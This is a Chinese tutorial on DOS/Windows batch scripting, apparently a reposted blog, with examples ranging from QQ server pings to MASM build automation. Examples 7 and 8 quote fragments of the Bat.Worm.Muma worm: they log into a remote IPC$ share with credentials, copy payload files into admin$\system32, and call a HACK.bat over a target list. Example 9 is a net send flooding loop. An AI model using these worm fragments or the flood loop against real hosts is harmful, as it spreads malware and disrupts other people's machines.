| bat批处理教程 |
由 ✎﹏๓₯㎕ζั͡❦﹏﹏♛ 创建，Alma 最后一次修改 2015-11-05
EdbAm6 http://blog.numino.net/
bat批处理教程
7kR4mE http://blog.numino.net/
这是一篇技术教程，我会用很简单的文字表达清楚自己的意思，只要你识字就能看懂，就能学到知识。写这篇教程的目的，是让每一个看过这些文字的朋友记住一句话：如果爱可以让事情变的更简单，那么就让它简单吧！看这篇教程的方法，就是慢！慢慢的，如同品一个女人、一杯茗茶，你会发现很多以前就在眼前的东西突然变的很遥远，而有些很遥远的东西却又突然回到了眼前。
84prJ2 http://blog.numino.net/
先概述一下批处理是个什么东东。批处理的定义，至今我也没能给出一个合适的----众多高手们也都没给出----反正我不知道----看了我也不一定信服----我是个菜鸟，当然就更不用说了；但我想总结出一个“比较合适的”，而且我也相信自己可以把它解释的很清楚，让更多的菜鸟都知道这是个什么东东，你用这个东东可以干什么事情。或许你会因为这篇文章而“无条件爱上批处理”，那么我的目的就达到了----我就是要让你爱上它，我就这么拽，你能怎么着？？真的，爱有时候就这么拽，就是这么没理由，就是这么不要脸！真的！
4he7DQ http://blog.numino.net/
按照我的理解，批处理的本质，是一堆DOS命令按一定顺序排列而形成的集合。
TSB1B4 http://blog.numino.net/
OK,never claver and get to business（闲话少说言归正传）。批处理，也称为批处理脚本，英文译为BATCH，批处理文件后缀BAT就取的前三个字母。它的构成没有固定格式，只要遵守以下这条就ok了：每一行可视为一个命令，每个命令里可以含多条子命令，从第一行开始执行，直到最后一行结束，它运行的平台是DOS。批处理有一个很鲜明的特点：使用方便、灵活，功能强大，自动化程度高。我不想让自己写的教程枯燥无味，因为牵缠到代码（批处理的内容算是代码吧？）的问题本来就是枯燥的，很少有人能面对满屏幕的代码而静下心来。所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力，感受它那古灵精怪的性格，不知不觉中爱上批处理（晕，怎么又是爱？到底批处理和爱有什么关系？答案：没有！）。再说句“闲话”：要学好批处理，DOS基础一定要牢！当然脑子灵活也是很重要的一方面。
Xdq6G2 http://blog.numino.net/
例一、先给出一个最easy的批处理脚本让大家和它混个脸熟，将下面的几行命令保存为name.bat然后执行（以后文中只给出代码，保存和执行方式类似）：
81BnNE http://blog.numino.net/
ping sz.tencent.com > a.txt
0TNqM1 http://blog.numino.net/
ping sz1.tencent.com >> a.txt
chhZDE http://blog.numino.net/
ping sz2.tencent.com >> a.txt
fcIQ6O http://blog.numino.net/
ping sz3.tencent.com >> a.txt
02qCUg http://blog.numino.net/
ping sz4.tencent.com >> a.txt
2QQZy9 http://blog.numino.net/
ping sz5.tencent.com >> a.txt
Yby62y http://blog.numino.net/
ping sz6.tencent.com >> a.txt
cCG2hh http://blog.numino.net/
ping sz7.tencent.com >> a.txt
g7I3Om http://blog.numino.net/
exit
xuG0WM http://blog.numino.net/
是不是都能看的懂？是不是很easy？但它的作用却是很实用的，执行这个批处理后，可以在你的当前盘建立一个名为a.txt的文件，它里面记录的信息可以帮助你迅速找到速度最快的QQ服务器，从而远离“从服务器中转”那一痛苦的过程。这里>的意思，是把前面命令得到的东西放到后面所给的地方，>>的作用，和>的相同，区别是把结果追加到前一行得出的结果的后面，具体的说是下一行，而前面一行命令得出的结果将保留，这样可以使这个a.txt文件越来越大（想到如何搞破坏了？？）。By the way，这个批处理还可以和其他命令结合，搞成完全自动化判断服务器速度的东东，执行后直接显示速度最快的服务器IP，是不是很爽？后面还将详细介绍。
l37b3O http://blog.numino.net/
例二、再给出一个已经过时的例子（a.bat）：
B9H0nv http://blog.numino.net/
@echo off
r1VhbM http://blog.numino.net/
if exist C:\Progra~1\Tencent\AD.gif del C:\Progra~1\Tencent\AD.gif
Iat439 http://blog.numino.net/
a.bat
v5IpxV http://blog.numino.net/
为什么说这是个过时的例子呢？很简单，因为现在已经几乎没有人用带广告的QQ了（KAO，我的QQ还显示好友三围呢！！），所以它几乎用不上了。但曾经它的作用是不可小窥的：删除QQ的广告，让对话框干干净净。这里用的地址是QQ的默认安装地址，默认批处理文件名为a.bat，你当然可以根据情况自行修改。在这个脚本中使用了if命令，使得它可以达到适时判断和删除广告图片的效果，你只需要不关闭命令执行后的DOS窗口，不按CTRL+C强行终止命令，它就一直监视是否有广告图片（QQ也再不断查看自己的广告是否被删除）。当然这个脚本占用你一点点内存，呵呵。
n25G58 http://blog.numino.net/
例三，使用批处理脚本查是否中冰河。脚本内容如下：
BFo4tN http://blog.numino.net/
@echo off
JIhfaZ http://blog.numino.net/
netstat -a -n > a.txt
8QR1A6 http://blog.numino.net/
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
ajuqJP http://blog.numino.net/
del a.txt
arIVG7 http://blog.numino.net/
pause & exit
BH0IiF http://blog.numino.net/
这里利用了netstat命令，检查所有的网络端口状态，只需要你清楚常见木马所使用的端口，就能很easy的判断出来是否被人种了冰河。然这不是确定的，因为冰河默认的端口7626，完全可以被人修改。这里介绍的只是方法和思路。这里介绍的是方法和思路稍做改动，就变成可以检查其他木马的脚本了，再改动一下，加进去参数和端口及信息列表文件后，就变成自动检测所有木马的脚本了。呵呵，是不是很过瘾？脚本中还利用了组合命令&&和管道命令|，后面将详细介绍。
C1XHb8 http://blog.numino.net/
例四，借批处理自动清除系统垃圾，脚本如下：
QVbAf9 http://blog.numino.net/
@echo off
xCUS1i http://blog.numino.net/
if exist c:\windows\temp. del c:\windows\temp\.
6CvwXb http://blog.numino.net/
if exist c:\windows\Tempor~1. del c:\windows\Tempor~1\.
TpkcnO http://blog.numino.net/
if exist c:\windows\History. del c:\windows\History\.
0VyiV2 http://blog.numino.net/
if exist c:\windows\recent. del c:\windows\recent\.
w85ek2 http://blog.numino.net/
将以上脚本内容保存到autoexec.bat里，每次开机时就把系统垃圾给自动删除了。这里需要注意两点：一、DOS不支持长文件名，所以就出现了Tempor~1这个东东；二、可根据自己的实际情况进行改动，使其符合自己的要求。
ZBpv38 http://blog.numino.net/
怎么样，看到这里，你对批处理脚本是不是已经有点兴趣了？是不是发现自己已经慢慢爱上了这个东东？别高兴的太早，爱不是一件简单的事，它也许能带给你快乐和幸福，当然也能让你痛苦的想去跳楼。如果你知道很难还敢继续的话，I 服了 YOU！继续努力吧，也许到最后你不一定得到真爱（真的有这可能，爱过的人都知道），但你可以体会到整个爱的过程，就是如此。 酸、苦和辣，有没有甜天知道。
E6rg2n http://blog.numino.net/
为什么会把批处理和爱情扯上关系？不是我无聊，也不是因为这样写有趣多少，原因有二：其一，批处理和爱情有很多相同的地方，有些地方我用“专业”的行话解释不清（我不怀疑自己的表达能力，而是事情本身就不好说清楚），说了=没说，但用地球人都知道的爱情一比喻（爱情是什么？我怎么知道！！），没准你心里一下就亮堂了，事半功倍，何乐而不为？其二，我这段时间状态不是很好，感冒发烧头疼鼻塞，但主要还是感情上精神摧残，搞的人烦透了，借写教程之际感慨几句，大家就全当买狗皮膏药了，完全可以省略不看（也许还真有点效果----不至于让你看着看着就睡着了，把头磕了来找我报销医药费）。说不定下次的教程中大家还会看到杨过、张无忌等金老前辈笔下的英雄们。
JkrwVz http://blog.numino.net/
看过第一章的朋友，一定对批处理有了初步的印象，知道它到底是用来干什么的了。但你知道运用批处理的精髓在哪里吗？其实很简单：思路要灵活！没有做不到的，只有想不到的。这和爱情就有点不同了，因为爱情的世界是两个人的世界，一厢情愿不叫爱情（补充：那叫单恋。废话！）而批处理却是一个人的天堂，你可以为所欲为，没有达不到的境界！
83tW9C http://blog.numino.net/
批处理看起来杂乱无章，但它的逻辑性之强，绝对不比其他程序语言（如汇编）低，如果你写的脚本是一堆乱麻，虽然每一行命令都正确，但从头执行到尾后，不一定得到你想要的结果，也许是一屏幕的Bad command or fail name。这又和爱情有了共同点：按步骤来经营，缺少或增多的步骤都可能导致不想看见的结果。陷入爱河的朋友，相信没有不肯定这句话的。我的爱情批处理，输出的结果不是Bad command or fail name，屏幕是这么显示的：‘你的爱情’不是内部或外部命令，也不是可运行的程序或批处理文件。然后就是光标不停闪动，等待这下一次错误的输入。
pO4fT0 http://blog.numino.net/
从这一章开始，将由浅入深的介绍批处理中常用的命令，很多常见DOS命令在批处理脚本中有这广泛的应用，它们是批处理脚本的BODY部分，但批处理比DOS更灵活多样，更具备自动化。要学好批处理，DOS一定要有比较扎实的基础。这里只讲述一些比较少用（相对来说）的DOS命令，常用命令如COPY、DIR等就不做介绍了（这些看似简单的命令实际复杂的很，我怕自己都说不清楚！）。
1wg85d http://blog.numino.net/
例五，先看一个实例。这是一个很有意思的脚本，一个小巧实用的好东东，把批处理“自动化”的特点体现的淋漓尽致。先介绍一下这个脚本的来历：大家都知道汇编程序（MASM）的上机过程，先要对源代码进行汇编、连接，然后再执行，而这中间有很多环节需要输入很多东西，麻烦的很（只有经历过的朋友才懂得）。如何使这个过程变的简单呢？在我们搞汇编课程设计时，我“被逼”写了这个脚本，用起来很爽，呵呵。看看脚本内容：
2O3qr2 http://blog.numino.net/
@echo off
4il27K http://blog.numino.net/
::close echo
Q7LvRU http://blog.numino.net/
cls
6LCzss http://blog.numino.net/
::clean screen
vP57K4 http://blog.numino.net/
echo This programme is to make the MASM programme automate
NcciJJ http://blog.numino.net/
::display info
tPG8bJ http://blog.numino.net/
echo Edit by CODERED
8WQs6i http://blog.numino.net/
::display info
q4anFr http://blog.numino.net/
echo Mailto me : qqkiller@sina.com
D51d5C http://blog.numino.net/
::display info
Q70h4y http://blog.numino.net/
if "%1"=="" goto usage
x4n725 http://blog.numino.net/
::if input without paramater goto usage
dhaBIi http://blog.numino.net/
if "%1"=="/?" goto usage
cMhaHW http://blog.numino.net/
::if paramater is "/?" goto usage
2Lcfh4 http://blog.numino.net/
if "%1"=="help" goto usage
9iXeXT http://blog.numino.net/
::if paramater is "help" goto usage
m47iEb http://blog.numino.net/
pause
k7dDCl http://blog.numino.net/
::pause to see usage
94t5DC http://blog.numino.net/
masm %1.asm
fE233D http://blog.numino.net/
::assemble the .asm code
x70Q3e http://blog.numino.net/
if errorlevel 1 pause & edit %1.asm
AeRgE0 http://blog.numino.net/
::if error pause to see error msg and edit the code
ZslDK7 http://blog.numino.net/
link %1.obj & %1
eFB3Yi http://blog.numino.net/
::else link the .obj file and execute the .exe file
IK3Qgb http://blog.numino.net/
:usage
oyi2VC http://blog.numino.net/
::set usage
6HQlil http://blog.numino.net/
echo Usage: This BAT file name [asm file name]
y6V5x0 http://blog.numino.net/
echo Default BAT file name is START.BAT
M7jPJO http://blog.numino.net/
::display usage
Ih848x http://blog.numino.net/
先不要被这一堆的东西给吓怕了，静下心来仔细的看（回想一下第一章中第一段是怎么写的！！）。已经给出了每一行命令的解释，两个冒号后面的内容为前一行内容解释的E文（害怕E文的朋友也不用担心，都很easy，一看就懂了，实在不懂了不会查词典啊，这么懒？），在脚本执行时不显示，也不起任何作用。倒数第5行行首有一个冒号，可不是笔误哦！具体作用后面会详细讲到。此脚本中masm和link是汇编程序和连接程序，必须和edit程序以及你要编辑的源代码（当然还有这个脚本，废话！）一起在当前目录中。使用这个批处理脚本，可以最大可能的减少手工输入，整个过程中只需要按几下回车键，即可实现从汇编源代码到可执行exe文件的自动化转换，并具备智能判断功能：如果汇编时源代码出现错误（汇编不成功），则自动暂停显示错误信息，并在按任意键后自动进入编辑源代码界面；如果源代码汇编成功，则进行连接，并在连接后自动执行生成的exe文件。另外，由于批处理命令的简单性和灵活性，这个脚本还具备良好的可改进性，简单进行修改就可以符合不同朋友的上机习惯。正在学汇编的朋友，一定别忘了实习一下！
flP1kP http://blog.numino.net/
在这个脚本中出现了如下几个命令：@、echo、::、pause、:和goto、%以及if。而这一章就将讲述这几个命令。
tk9aUn http://blog.numino.net/
1、@
v8Pkte http://blog.numino.net/
这个符号大家都不陌生，email的必备符号，它怎么会跑到批处理中呢？呵呵，不是它的错，批处理本来就离不开它，要不就不完美了。它的作用是让执行窗口中不显示它后面这一行的命令本身（多么绕口的一句话！）。呵呵，通俗一点说，行首有了它的话，这一行的命令就不显示了。在例五中，首行的@echo off中，@的作用就是让脚本在执行时不显示后面的echo off部分。这下懂了吧？还是不太懂？没关系，看完echo命令简介，自然就懂了。
kUnzIn http://blog.numino.net/
2、echo
RU7YIA http://blog.numino.net/
中文为“反馈”、“回显”的意思。它其实是一个开关命令，就是说它只有两种状态：打开和关闭。于是就有了echo on和echo off两个命令了。直接执行echo命令将显示当前echo命令状态（off或on）执行echo off将关闭回显，它后面的所有命令都不显示命令本身，只显示执行后的结果，除非执行echo on命令。在例五中，首行的@命令和echo off命令联合起来，达到了两个目的：不显示echo off命令本身，不显示以后各行中的命令本身。的确是有点乱，但你要是练习一下的话，3分钟包会，不会的退钱！
Xb2AQR http://blog.numino.net/
echo命令的另一种用法一：可以用它来显示信息！如例五中倒数第二行，Default BAT file name is START.BAT将在脚本执行后的窗口中显示，而echo命令本身不显示（为什么？？）。
PhkWLv http://blog.numino.net/
echo命令的另一种用法二：可以直接编辑文本文件。例六：
xJdttd http://blog.numino.net/
echo nbtstat -A 192.168.0.1 > a.bat
BBPka4 http://blog.numino.net/
echo nbtstat -A 192.168.0.2 >> a.bat
5Qvz1C http://blog.numino.net/
echo nbtstat -A 192.168.0.3 >> a.bat
yYXAra http://blog.numino.net/
以上脚本内容的编辑方法是，直接是命令行输入，每行一回车。最后就会在当前目录下生成一个a.bat的文件，直接执行就会得到结果。
wAljfh http://blog.numino.net/
3、::
Ok8a1D http://blog.numino.net/
这个命令的作用很简单，它是注释命令，在批处理脚本中和rem命令等效。它后面的内容在执行时不显示，也不起任何作用，因为它只是注释，只是增加了脚本的可读性，和C语言中的/…………/类似。地球人都能看懂，就不多说了。
WdKHjR http://blog.numino.net/
4、pause
9FbatE http://blog.numino.net/
中文为“暂停”的意思（看看你的workman上），我一直认为它是批处理中最简单的一个命令，单纯、实用。它的作用，是让当前程序进程暂停一下，并显示一行信息：请按任意键继续. . .。在例五中这个命令运用了两次，第一次的作用是让使用者看清楚程序信息，第二个是显示错误的汇编代码信息（其实不是它想显示，而是masm程序在显示错误信息时被暂它停了，以便让你看清楚你的源代码错在哪里）。
9h6205 http://blog.numino.net/
5、:和goto
oLm3cw http://blog.numino.net/
为什么要把这两个命令联合起来介绍？因为它们是分不开的，无论少了哪个或多了哪个都会出错。goto是个跳转命令，:是一个标签。当程序运行到goto时，将自动跳转到:定义的部分去执行了（是不是分不开？）。例五中倒数第5行行首出现一个:，则程序在运行到goto时就自动跳转到:标签定义的部分执行，结果是显示脚本usage（usage就是标签名称）。不难看出，goto命令就是根据这个冒号和标签名称来寻找它该跳转的地方，它们是一一对应的关系。goto命令也经常和if命令结合使用。至于这两个命令具体用法，参照例五。
eM8Pkr http://blog.numino.net/
goto命令的另一种用法一：提前结束程序。在程序中间使用goto命令跳转到某一标签，而这一标签的内容却定义为退出。如：
9tjXb2 http://blog.numino.net/
……
tKHOJz http://blog.numino.net/
goto end
qqb8pI http://blog.numino.net/
……
90S128 http://blog.numino.net/
:end
q2cKgz http://blog.numino.net/
这里:end在脚本最后一行！其实这个例子很弱智，后面讲了if命令和组合命令你就知道了。
6Pqhps http://blog.numino.net/
6、%
SYF4xm http://blog.numino.net/
这个百分号严格来说是算不上命令的，它只是批处理中的参数而已（多个%一起使用的情况除外，以后还将详细介绍），但千万别以为它只是参数就小看了它（看看例五中有多少地方用到它？），少了它批处理的功能就减少了51%了。看看例七：
GOQ4pV http://blog.numino.net/
net use \%1\ipc$ %3 /u:"%2"
0K8JVa http://blog.numino.net/
copy 11.BAT \%1\admin$\system32 /y
wOUa4l http://blog.numino.net/
copy 13.BAT \%1\admin$\system32 /y
9MYaCG http://blog.numino.net/
copy ipc2.BAT \%1\admin$\system32 /y
rjV5pi http://blog.numino.net/
copy NWZI.EXE \%1\admin$\system32 /y
YvAwr3 http://blog.numino.net/
attrib \%1\admin$\system32\10.bat -r -h -s
8ryZJc http://blog.numino.net/
以上代码是Bat.Worm.Muma病毒中的一部分，%1代表的IP，2%代表的username，3%代表password。执行形式为：脚本文件名 参数一 参数二 ……。假设这个脚本被保存为a.bat，则执行形式如下：a IP username password。这里IP、username、password是三个参数，缺一不可（因为程序不能正确运行，并不是因为少了参数语法就不对）这样在脚本执行过程中，脚本就自动用用你的三个参数依次（记住，是依次！也是一一对应的关系。）代换1%、2%和3%，这样就达到了灵活运用的目的（试想，如果在脚本中直接把IP、username和password都定义死，那么脚本的作用也就被固定了，但如果使用%的话，不同的参数可以达到不同的目的，是不是更灵活？）。
fOeIHm http://blog.numino.net/
关于这个参数的使用，在后续章节中还将介绍。一定要非常熟练才行，这需要很多练习过程，需要下点狠工夫！
zWRW4Q http://blog.numino.net/
这一章就写到这里了。可能有朋友问了：怎么没介绍if命令？呵呵，不是我忘了，而是它不容易说清楚，下一章再讲了！这一章讲的这点东西，如果你是初学者，恐怕也够消化的了。记住一句话：DOS是批处理的BODY，任何一个DOS命令都可以被用在批处理脚本中去完成特定的功能。到这里，你是否已经想到了用自己肚子里的东西去写点带有自动化色彩的东东呢？很简单，就是一个DOS命令的集合而已，相信自称为天才的你已经会把计算机等级考试上机试题中的DOS部分用批处理来自动化完成了。
L4G1Mv http://blog.numino.net/
烦！就好象一个半老女人到了更年期，什么事都想唠叨几句，什么事都感到不舒服，看谁谁不爽。明知山有虎，偏向虎山行，最后留下一身伤痕无功而返时，才发现自己竟然如此脆弱，如此渺小，如此不堪一击。徘徊在崩溃的边缘，突然回想起了自己最后一次扁人的那一刻，还真有点怀念（其实我很不喜欢扁人，更不喜欢被人扁）。我需要发泄，我用手指拼命的敲打着键盘，在一阵接一阵有节奏的声音中，屏幕上出现了上面的这些文字。可难道这就是发泄的另一种方式吗？中国人还是厉害，早在几千年前孔老夫子就说过“唯女子与小人，难养也”，真有先见之明，佩服！虽然是在发泄，不过大家请放心，以我的脾气，既然决定写这篇教程，就一定会尽力去写好，写完美，绝对不给自己留下遗憾，要不这教程就不是我写的！
S72VgQ http://blog.numino.net/
曾经有一篇经典的批处理教程出现在你的屏幕上，你没有保存，直到找不到它的链接你才后悔莫及，人世间最大的痛苦莫过于此。如果上天能给你一个再看一次的机会，你会对那篇教程说三个字：我爱你！如果非要给这份爱加上一个期限，你希望是100年。因为100年后，你恐怕早已经挂了！而现在，你的屏幕上出现了这篇你正在看的批处理教程，虽然不如你曾经看的那篇经典，但如果勉强还过的去。你会爱它吗？时间会有50年那么长吗？答案是：试试看吧。
5n6pN1 http://blog.numino.net/
批处理脚本中最重要的几个命令，将在这一章详细介绍，但是很遗憾，有些细节到现在我都没掌握的很好，甚至还有些生分。如同还不太懂得爱一样。但我一直都在努力，即使一直都没有收获。所以可能讲的会比较笼统，但我会告诉你方法，剩下的就是时间问题了，需要自己去磨练。让我们共同努力吧。冰冻三尺非一日之寒，滴水穿石非一日之功。有些事情，比如学批处理，比如爱一个人，都是不能速成的，甚至还会有付出艰辛而收获为甚微的情况。再次重申，看这篇教程的时候，一定要静下心来，除非你已经掌握了这篇教程的所有东西----但那也就不必看了，浪费时间！
65dmUw http://blog.numino.net/
7、if
f97Qft http://blog.numino.net/
接上一章，接着讲if命令。总的来说，if命令是一个表示判断的命令，根据得出的每一个结果，它都可以对应一个相应的操作。关于它的三种用法，在这里分开讲。
BnL1K7 http://blog.numino.net/
(1)、输入判断。还是用例五里面的那几句吧：
S0sw32 http://blog.numino.net/
if "%1"=="" goto usage
WVHT2Q http://blog.numino.net/
if "%1"=="/?" goto usage
J0IT4e http://blog.numino.net/
if "%1"=="help" goto usage
d6y0Sn http://blog.numino.net/
这里判断输入的参数情况，如果参数为空（无参数），则跳转到usage；如果参数为/?或help时（大家一般看一个命令的帮助，是不是输入的/?或help呢，这里这么做只是为了让这个脚本看起来更像一个真正的程序），也跳转到usage。这里还可以用否定形式来表示“不等于”，例如：if not "%1"=="" goto usage，则表示如果输入参数不为空就跳转到usage（实际中这样做就没意义了，这里介绍用法，管不了那么多了，呵呵。）是不是很简单？其实翻译成中文体会一下就understand了。
SBSJMv http://blog.numino.net/
(2)、存在判断。再看例二里这句：
4Ro34Y http://blog.numino.net/
if exist C:\Progra~1\Tencent\AD.gif del C:\Progra~1\Tencent\AD.gif
hn66gp http://blog.numino.net/
如果存在那些gif文件，就删除这些文件。当然还有例四，都是一样的道理。注意，这里的条件判断是判断存在的，当然也可以判断不存在的，例如下面这句“如果不存在那些gif文件则退出脚本”：if not exist C:\Progra~1\Tencent\AD.gif exit。只是多一个not来表示否定而已。
8J0WFV http://blog.numino.net/
(3)、结果判断。还是拿例五开刀（没想到自己写的脚本，竟然用处这么大，呵呵）：
GNdIh0 http://blog.numino.net/
masm %1.asm
dmBsF6 http://blog.numino.net/
if errorlevel 1 pause & edit %1.asm
u4Dx5m http://blog.numino.net/
link %1.obj
zbbf05 http://blog.numino.net/
先对源代码进行汇编，如果失败则暂停显示错误信息，并在按任意键后自动进入编辑界面；否则用link程序连接生成的obj文件。这里只介绍一下和if命令有关的地方，&命令后面会讲到。这种用法是先判断前一个命令执行后的返回码（也叫错误码，DOS程序在运行完后都有返回码），如果和定义的错误码符合（这里定义的错误码为1），则执行相应的操作（这里相应的操作为pause & edit %1.asm部分）。
ONNQ7e http://blog.numino.net/
另外，和其他两种用法一样，这种用法也可以表示否定。用否定的形式仍表达上面三句的意思，代码变为：
kSO33j http://blog.numino.net/
masm %1.asm
58LEXt http://blog.numino.net/
if not errorlevel 1 link %1.obj
ER9iiV http://blog.numino.net/
pause & edit %1.asm
P2t0WN http://blog.numino.net/
看到本质了吧？其实只是把结果判断后所执行的命令互换了一下，“if not errorlevel 1”和“if errorlevel 0”的效果是等效的，都表示上一句masm命令执行成功（因为它是错误判断，而且返回码为0，0就表示否定，就是说这个错误不存在，就是说masm执行成功）。这里是否加not，错误码到底用0还是1，是值得考虑的两个问题，一旦搭配不成功脚本就肯定出错，所以一定要体会的很深刻才行。如何体会的深刻？练习！自己写一个脚本，然后把有not和没有not的情况，返回码为0或1的情况分别写进去执行（怎么，嫌麻烦啊？排列组合算一下才四中情况你就嫌麻烦了？后面介绍管道命令和组合命令时还有更麻烦的呢！怕了？呵呵。），这样从执行的结果中就能很清楚的看出这两种情况的区别。
H0qX17 http://blog.numino.net/
这种用errorlevel结果判断的用法是if命令最难的用法，但也恰恰是最有用的用法，如果你不会用errorlevel来判断返回码，则要达到相同的效果，必须用else来表示“否则”的操作，是比较麻烦的。以上代码必须变成：
jCVP8P http://blog.numino.net/
masm %1.asm
v8Sbpt http://blog.numino.net/
if exist %1.obj link %1.obj
5sWo7F http://blog.numino.net/
else pause & edit %1.asm
tRH4in http://blog.numino.net/
关于if命令的这三种用法就say到这里，理解很简单，但应用时就不一定用的那么得心应手，主要是熟练程度的问题。可能有的朋友有点惊讶，我怎么没给出类似下面三行的用法介绍，是因为下面三行是if命令帮助里对它自身用法的解释，任何人只要一个“if /?”就能看到，我没有必要在这里多费口舌；更重要的原因，是我觉得这样介绍的不清楚，看的人不一定看的懂，所以我采用上面自己对if命令的理解来介绍。一定要注意的是，这三种用法的格式各不相同，而且也是不能改变的，但实际上可以互换（以为从本质上讲，这三种用法都是建立在判断的基础上的，哲学教我们学会透过现象看事物本质！）。有兴趣的朋友可以自己研究一下。
bMpw6w http://blog.numino.net/
IF [NOT] ERRORLEVEL number do command
a05bOJ http://blog.numino.net/
IF [NOT] string1==string2 do command
qg24Be http://blog.numino.net/
IF [NOT] EXIST filename do command
c7UaVM http://blog.numino.net/
8、call
RiVx96 http://blog.numino.net/
学过汇编或C的朋友，肯定都知道call指令表示什么意思了，在这里它的意思其实也是一样的。在批处理脚本中，call命令用来从一个批处理脚本中调用另一个批处理脚本。看例八（默认的三个脚本文件名分别为start.bat、10.bat和ipc.bat）：
k6CBro http://blog.numino.net/
start.bat：
Q24uQo http://blog.numino.net/
……
7oJf3h http://blog.numino.net/
CALL 10.BAT 0
d9Xr17 http://blog.numino.net/
……
Mp1fzA http://blog.numino.net/
10.bat：
xi17dU http://blog.numino.net/
……
6ApRQ1 http://blog.numino.net/
ECHO %IPA%.%1 >HFIND.TMP
kA62eI http://blog.numino.net/
……
lsWJjZ http://blog.numino.net/
CALL ipc.bat IPCFind.txt
O0S9l5 http://blog.numino.net/
ipc.bat：
J6oth0 http://blog.numino.net/
for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k
9DiBW5 http://blog.numino.net/
有没有看出什么不对的地方？没看出来啊？没看出来就对了，其实就没有不对的地方嘛，你怎么看的出来！从上面两个脚本，你可以得到如下信息：1、脚本调用可以灵活运用，循环运用、重复运用。2、脚本调用可以使用参数！关于第一点就不多说了，聪明的你一看就应该会，这里说一下第二点。
kHNd2r http://blog.numino.net/
在start.bat中，10.bat后面跟了参数0，在执行时的效果，其实就是把10.bat里的参数%1用0代替。在start.bat中，ipc.bat后面跟了参数ipcfind.txt（一个文件，也可以做参数），执行时的效果，就是用ipc.bat中的每一行的三个变量（这里不懂没关系，学过for命令后就懂了），对应代换ipc.bat中的%%i、%%j和%%k。这里参数调用是非常灵活的，使用时需要好好体会。在初学期间，可以先学习只调用脚本，至于连脚本的参数一起使用的情况，在后面的学习中自然就会有比较深刻的理解，这是因为当你已经可以灵活运用批处理脚本后，如何使代码写的更精简更完美更高效就自然包括到了考虑的范围，这时候你就会发现在调用脚本时直接加入参数，可以使代码效率加倍。By the way，上面的这几个脚本，都是Bat.Worm.Muma病毒的一部分，在后面的教程里，大家将有机会见到这个病毒的真面目。
1w73j5 http://blog.numino.net/
那是不是说，在同一个目录下至少存在两个批处理脚本文件（只有一个你调用谁？）？呵呵，注意了，这句话错了！！只有一个照样可以调用----调用自身！看例九（默认脚本文件名a.bat）：
VHAF8z http://blog.numino.net/
net send %1 This is a call example.
QI8YIE http://blog.numino.net/
call a.bat
sipyTo http://blog.numino.net/
这两句一结合，效果自然不怎么样，因为只有一台机器来发消息，谁怕谁啊？我给你来个礼尚往来！可如果有100台机器同时执行，而且每台机器开10和窗口同时向一个目标机器发消息的话，呵呵。这里call a.bat的作用就是调用自身，执行完前一句net send命令后再调用自身，达到了循环执行的目的。
TWzz1a http://blog.numino.net/
给出一个很有意思的脚本，有兴趣的朋友可以实验一下。例十（默认脚本文件名为a.bat）：
10Tk71 http://blog.numino.net/
call a.bat
QJdA3o http://blog.numino.net/
一定要在DOS窗口下执行，否则只会看到一个窗口一闪而过，看不到最后结果。等执行完后，当脚本被执行了1260次，别忘了想一下到底是为什么！爱情有时候跟这个脚本一样，一旦陷入死循环，最后的结果都是意想不到的。只是爱情，绝对不会等到被毫无理由的循环这么多次，也许在第三次时就出现了love is aborted的提示。
OHVWSQ http://blog.numino.net/
9、find
RF1H93 http://blog.numino.net/
这是一个搜索命令，用来在文件中搜索特定字符串，通常也作为条件判断的铺垫程序（我怎么突然想起了这四个字？）。这个命令单独使用的情况在批处理中是比较少见的，因为没什么实际意义。还是借例三来说明：
lrukG5 http://blog.numino.net/
@echo off
e9K497 http://blog.numino.net/
netstat -a -n > a.txt
GSr7YQ http://blog.numino.net/
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
2VuWpA http://blog.numino.net/
del a.txt
4Lm91l http://blog.numino.net/
pause & exit
ZmPl1n http://blog.numino.net/
先用netstat命令检查是否有冰河默认的端口7626在活动，并把结果保存到a.txt中。然后使用type命令列出a.txt中的内容，再在列出的内容中搜索字符串“7626” ，发现有的话则提示中了冰河，否则退出。看，find命令其实就这么简单，但有一点必须要注意到：如果不使用type命令列出a.txt中的内容，而是直接使用find命令在a.txt中找“7626”（find a.txt "7626" && echo "Congratulations! You have infected GLACIER!"），就必须得给出这个a.txt的绝对路径（我试过了，find并没有默认路径就是当前路径的功能，必须手动指定。也许是我错了，欢迎指正）。因为在find命令的帮助里有这么一句话：如果没有指定路径，find将搜索键入的或者由另一个命令产生的文字。这里的“另一个命令”自然就指的type命令了。
7DiQDP http://blog.numino.net/
至于find命令的其他几个参数如v、n、i等，有兴趣的朋友自己去研究吧，这已经属于DOS学习的内容了，这里就不做介绍。关于find命令和其他命令的一些更精妙的用法（有些简直令人叫绝），后续的教程中将介绍，希望关注。
H95D1X http://blog.numino.net/
10、for、set、shift
bs0F28 http://blog.numino.net/
为什么把这三个命令放到一起来讲？原因除了我说明外，恐怕谁也想不到！很简单的一句话：其实我也不太懂！是的，对于这两个命令，我是从研究Bat.Worm.Muma病毒开始学习的，时间过去了不少，但还是没完全搞明白，我怕讲出来连自己都看不懂，我更怕不小心讲错了成了罪人。所以我给出一个脚本去告诉你，如何让这两个命令给自己留一个初步的印象，其实也就是这两个命令的入门，而并不是说如何领会这两个命令。因为要领会如此精妙的两个命令（特别是for）谈何容易！也许你会表扬我说我诚实、不懂就不懂；也许你会骂我，让我既然不懂就赶紧滚蛋，不要在这里丢人显眼；也许你还会说一些别的这样那样好听或不好听的话，都随便你了，即使我不同意你说的话，我也会誓死捍卫你说话的权利。看例十一：
s9FcxB http://blog.numino.net/
@echo off
Uackl9 http://blog.numino.net/
for /? > for.txt
0mWurQ http://blog.numino.net/
set /? > set.txt
3BnZv5 http://blog.numino.net/
shift /? >shift.txt
S0eF2n http://blog.numino.net/
exit
6l2Qgx http://blog.numino.net/
